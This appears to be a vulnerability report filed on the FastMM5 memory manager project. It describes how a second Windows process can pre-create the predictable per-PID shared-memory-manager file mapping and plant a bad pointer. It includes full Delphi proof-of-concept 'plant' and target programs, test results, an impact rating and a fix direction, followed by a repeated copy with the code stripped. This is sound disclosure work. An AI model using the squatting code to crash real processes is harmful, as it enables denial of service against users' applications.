Context
This comes from a GPT-5.6-SOL-ULTRA follow-up review of current FastMM5 master. I
reviewed the finding manually and reproduced it locally against the unmodified
revision:
13976edfc84f83c3c55e5731d30fd8686ad51f15
#81 Export FastMM_ProcessAllPendingFrees in BorlndMM.dll
FullDebugMode is not involved.
Problem
The public comment for FastMM_AttemptToUseSharedMemoryManager says it searches
the current process for a shared memory manager:
{Searches the current process for a shared memory manager. If no memory has been allocated using this memory manager
it will switch to using the shared memory manager instead. Returns True if another memory manager was found and it
could be shared. If this memory manager instance *is* the shared memory manager, it will do nothing and return True.}
function FastMM_AttemptToUseSharedMemoryManager: Boolean;
On Windows the discovery mechanism is a named file mapping whose name contains
only the target process ID:
SharingFileMappingObjectName: array[0..25] of AnsiChar =
('L', 'o', 'c', 'a', 'l', '\', 'F', 'a', 's', 't', 'M', 'M',
'_', 'P', 'I', 'D', '_', '?', '?', '?', '?', '?', '?', '?', '?', #0);
The process ID is public and the Local\ namespace is session-scoped, not
process-private. A second process in the same Windows session can therefore
create the expected object before FastMM tries to open it.
FastMM_FindSharedMemoryManager accepts the pointer stored in any mapping with
that name without checking its provenance or validating the address:
LLocalMappingObjectHandle := Winapi.Windows.OpenFileMappingA(
FILE_MAP_READ, False, @SharingFileMappingObjectName);
if LLocalMappingObjectHandle <> 0 then
begin
LPMapAddress := Winapi.Windows.MapViewOfFile(
LLocalMappingObjectHandle, FILE_MAP_READ, 0, 0, 0);
if LPMapAddress <> nil then
begin
Result := PPointer(LPMapAddress)^;
Winapi.Windows.UnmapViewOfFile(LPMapAddress);
end;
Winapi.Windows.CloseHandle(LLocalMappingObjectHandle);
end;
The caller then dereferences that untrusted pointer as a complete memory-manager
record:
LPMemoryManagerEx := FastMM_FindSharedMemoryManager;
if LPMemoryManagerEx <> nil then
begin
InstalledMemoryManager := LPMemoryManagerEx^;
SetMemoryManager(InstalledMemoryManager);
CurrentInstallationState := mmisUsingSharedMemoryManager;
end;
The reproducer creates the target's expected mapping from a separate process and
stores Pointer(1). The target faults while copying LPMemoryManagerEx^.
Microsoft's documentation confirms that Local\ selects a per-session kernel
object namespace and that access to named file mappings is controlled by their
security descriptor, rather than restricting them to the creator process:
Reproducer
The reproducer has two small console applications:
- Start
SharedMappingSquatTarget.exe and obtain its process ID.
- Start
SharedMappingSquatPlant.exe <target-process-id> from the same Windows
user/session.
- The plant creates the mapping, verifies that it did not already exist, writes
Pointer(1), and keeps the object alive.
- The target opens and maps the object, waits until the planted pointer is
non-nil, and only then calls the supported public sharing API.
The target uses only static buffers and WinAPI calls before the sharing attempt,
so it has no live FastMM allocations that would make the API reject the switch.
Polling the mapped cell also removes the race between CreateFileMappingA and
the plant's later pointer write.
SharedMappingSquatTarget.dpr
program SharedMappingSquatTarget;
{$APPTYPE CONSOLE}
uses
FastMM5,
Winapi.Windows;
type
TVectoredExceptionHandler = function(ExceptionInfo: Pointer): Longint; stdcall;
function AddVectoredExceptionHandler(FirstHandler: Cardinal;
Handler: TVectoredExceptionHandler): Pointer; stdcall;
external kernel32 name 'AddVectoredExceptionHandler';
function ExitOnException(ExceptionInfo: Pointer): Longint; stdcall;
begin
ExitProcess(81);
Result := 0;
end;
const
HexDigits: PAnsiChar = '0123456789ABCDEF';
var
MappingName: array[0..25] of AnsiChar =
('L', 'o', 'c', 'a', 'l', '\', 'F', 'a', 's', 't', 'M', 'M', '_', 'P', 'I', 'D', '_',
'?', '?', '?', '?', '?', '?', '?', '?', #0);
MappingHandle: THandle;
MappingView: Pointer;
ProcessId: Cardinal;
SharedMemoryManagerPointer: Pointer;
I: Integer;
begin
SetErrorMode(SEM_FAILCRITICALERRORS or SEM_NOGPFAULTERRORBOX);
FastMM_MessageBoxEvents := [];
ProcessId := GetCurrentProcessId;
for I := 0 to 7 do
MappingName[(High(MappingName) - 1) - I] :=
AnsiChar(HexDigits[(ProcessId shr (I * 4)) and $f]);
for I := 1 to 3000 do
begin
MappingHandle := OpenFileMappingA(FILE_MAP_READ, False, @MappingName);
if MappingHandle <> 0 then
Break;
Sleep(10);
end;
if MappingHandle = 0 then
Halt(20);
MappingView := MapViewOfFile(MappingHandle, FILE_MAP_READ, 0, 0,
SizeOf(Pointer));
if MappingView = nil then
Halt(24);
for I := 1 to 3000 do
begin
SharedMemoryManagerPointer := PPointer(MappingView)^;
if SharedMemoryManagerPointer <> nil then
Break;
Sleep(10);
end;
UnmapViewOfFile(MappingView);
CloseHandle(MappingHandle);
if SharedMemoryManagerPointer = nil then
Halt(25);
{$ifdef VERIFY_MAPPING_ONLY}
ExitProcess(23);
{$endif}
AddVectoredExceptionHandler(1, ExitOnException);
if FastMM_AttemptToUseSharedMemoryManager then
ExitProcess(21)
else
ExitProcess(22);
end.
SharedMappingSquatPlant.dpr
program SharedMappingSquatPlant;
{$APPTYPE CONSOLE}
uses
Winapi.Windows,
System.SysUtils;
const
HexDigits: PAnsiChar = '0123456789ABCDEF';
var
MappingName: array[0..25] of AnsiChar =
('L', 'o', 'c', 'a', 'l', '\', 'F', 'a', 's', 't', 'M', 'M', '_', 'P', 'I', 'D', '_',
'?', '?', '?', '?', '?', '?', '?', '?', #0);
MappingHandle: THandle;
MappingView: Pointer;
TargetProcessId: Cardinal;
I: Integer;
begin
if ParamCount <> 1 then
Halt(30);
TargetProcessId := Cardinal(StrToInt64(ParamStr(1)));
for I := 0 to 7 do
MappingName[(High(MappingName) - 1) - I] :=
AnsiChar(HexDigits[(TargetProcessId shr (I * 4)) and $f]);
MappingHandle := CreateFileMappingA(INVALID_HANDLE_VALUE, nil, PAGE_READWRITE, 0,
SizeOf(Pointer), @MappingName);
if MappingHandle = 0 then
Halt(31);
if GetLastError = ERROR_ALREADY_EXISTS then
Halt(33);
{Make object creation precede pointer publication so the target must wait for
the mapped payload, not merely for the named object to exist.}
Sleep(250);
MappingView := MapViewOfFile(MappingHandle, FILE_MAP_WRITE, 0, 0, 0);
if MappingView = nil then
Halt(32);
PPointer(MappingView)^ := Pointer(NativeUInt(1));
Sleep(10000);
UnmapViewOfFile(MappingView);
CloseHandle(MappingHandle);
end.
Local validation
Built and run with RAD Studio 37.0 against unmodified 13976ed:
| Build |
Target |
Plant |
| Default Win32 |
Exit 81 from the vectored exception handler |
Exit 0 |
| Default Win64 |
Exit 81 from the vectored exception handler |
Exit 0 |
The same two results were reproduced again while preparing this report. The
plant deliberately waits 250 ms between creating the mapping and publishing its
non-nil pointer; the target's readiness wait removes that creation/write race in
both runs.
A separate target compiled with VERIFY_MAPPING_ONLY exited 23 on Win32 and
Win64, proving that it opened the externally created mapping without depending on
the later invalid-pointer access. The plant exits 33 if the mapping already
exists, so a normal exit also proves that the plant won object creation.
Impact and scope
The demonstrated impact is an attacker-triggered access violation and process
termination. The prerequisites are constrained:
- the target must call the opt-in shared-manager adoption API;
- the other process must be able to create an object with the expected name and
have it opened by the target, normally requiring the same user/session under
the default security descriptor;
- no code-execution primitive was demonstrated.
I would rate this as Medium severity for availability, rather than claiming code
execution or a cross-user privilege boundary.
Suggested fix direction
Do not treat a pointer read from a discoverable cross-process named object as
authenticated process-local state. A fix should make discovery fail closed unless
the provider can be proven to belong to the current process. Structural/version
checks and validation that every entry point refers to committed executable memory
in a currently loaded module would also prevent invalid mappings from being
dereferenced, but pointer validation alone is not a substitute for trustworthy
provenance.
The normal allocation/free fast paths do not need to change; this is confined to
the explicit shared-manager discovery operation.
Prior issue check
This is not a duplicate of PR #22,
which prevents a Delphi string allocation before attempting shared-manager
adoption. No existing issue reports predictable mapping pre-creation, untrusted
pointer adoption, or the cross-process crash above.
Context
This comes from a GPT-5.6-SOL-ULTRA follow-up review of current FastMM5 master. I
reviewed the finding manually and reproduced it locally against the unmodified
revision:
FullDebugMode is not involved.
Problem
The public comment for
FastMM_AttemptToUseSharedMemoryManagersays it searchesthe current process for a shared memory manager:
On Windows the discovery mechanism is a named file mapping whose name contains
only the target process ID:
The process ID is public and the
Local\namespace is session-scoped, notprocess-private. A second process in the same Windows session can therefore
create the expected object before FastMM tries to open it.
FastMM_FindSharedMemoryManageraccepts the pointer stored in any mapping withthat name without checking its provenance or validating the address:
The caller then dereferences that untrusted pointer as a complete memory-manager
record:
The reproducer creates the target's expected mapping from a separate process and
stores
Pointer(1). The target faults while copyingLPMemoryManagerEx^.Microsoft's documentation confirms that
Local\selects a per-session kernelobject namespace and that access to named file mappings is controlled by their
security descriptor, rather than restricting them to the creator process:
Reproducer
The reproducer has two small console applications:
SharedMappingSquatTarget.exeand obtain its process ID.SharedMappingSquatPlant.exe <target-process-id>from the same Windowsuser/session.
Pointer(1), and keeps the object alive.non-nil, and only then calls the supported public sharing API.
The target uses only static buffers and WinAPI calls before the sharing attempt,
so it has no live FastMM allocations that would make the API reject the switch.
Polling the mapped cell also removes the race between
CreateFileMappingAandthe plant's later pointer write.
SharedMappingSquatTarget.dprSharedMappingSquatPlant.dprLocal validation
Built and run with RAD Studio 37.0 against unmodified
13976ed:The same two results were reproduced again while preparing this report. The
plant deliberately waits 250 ms between creating the mapping and publishing its
non-nil pointer; the target's readiness wait removes that creation/write race in
both runs.
A separate target compiled with
VERIFY_MAPPING_ONLYexited 23 on Win32 andWin64, proving that it opened the externally created mapping without depending on
the later invalid-pointer access. The plant exits 33 if the mapping already
exists, so a normal exit also proves that the plant won object creation.
Impact and scope
The demonstrated impact is an attacker-triggered access violation and process
termination. The prerequisites are constrained:
have it opened by the target, normally requiring the same user/session under
the default security descriptor;
I would rate this as Medium severity for availability, rather than claiming code
execution or a cross-user privilege boundary.
Suggested fix direction
Do not treat a pointer read from a discoverable cross-process named object as
authenticated process-local state. A fix should make discovery fail closed unless
the provider can be proven to belong to the current process. Structural/version
checks and validation that every entry point refers to committed executable memory
in a currently loaded module would also prevent invalid mappings from being
dereferenced, but pointer validation alone is not a substitute for trustworthy
provenance.
The normal allocation/free fast paths do not need to change; this is confined to
the explicit shared-manager discovery operation.
Prior issue check
This is not a duplicate of PR #22,
which prevents a Delphi string allocation before attempting shared-manager
adoption. No existing issue reports predictable mapping pre-creation, untrusted
pointer adoption, or the cross-process crash above.